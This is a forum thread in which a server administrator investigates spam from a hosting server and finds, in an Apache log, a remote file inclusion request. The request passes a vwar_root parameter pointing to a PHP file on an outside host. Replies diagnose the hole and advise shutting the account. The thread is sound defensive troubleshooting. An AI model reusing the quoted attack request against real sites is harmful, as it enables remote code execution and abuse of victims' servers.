    After some googling something like this should be in the vhost file
    to know which domain is giving the problem???

    php_admin_value sendmail_path "/usr/sbin/sendmail -t -i -fUSER at example.com"

    maybe for future updates of ISPCONFIG??

    Are there other sollutions??

    <b>Biggest problem is I can not find the website which has the bad script??!!!</b>

    Seems like someone is abusing a contact form, guestbook, etc. on one of your web sites to send spam...

    You could check your Apache's access log.

    problem probably found

    www.bob-gaming.nl||||163464||||81.199.83.160 - - [17/May/2006:10:29:27 +0200]
    "POST /modules/vwar/admin/admin.php?vwar_root=http://albax.host.sk/.xpl/phpmailer.txt?

    Seems to be the problem, I think.

    Turn him off asap and ask user to resolve.

    I can only agree to Norman, turn the account off as soon as possible, e.g. with an .htaccess file. Your spam problem seems to be only the pike of the iceberg. The script seems to allow execution of external PHP code provided by an URL to the variable vwar_root.

    thanks

    I chmod 000 the files and made user root
    hopefully if user will update to newest release problems will be fixed..

    Will point the webmaster of the site to

    http://www.vwar.de/

    various security leaks which could allow malicious users to include a (remote) file and eg. execute php commands on the server hosting vwar

    thanks

    I think I have the same problem. Sorry for the lame question, but where do I go to look at the apache log? I'm running Ubuntu.

    My access log file is empty. Is there someplace special where ISPConfig keeps the apache logs? I'm trying to identify which website might be causing the problem.
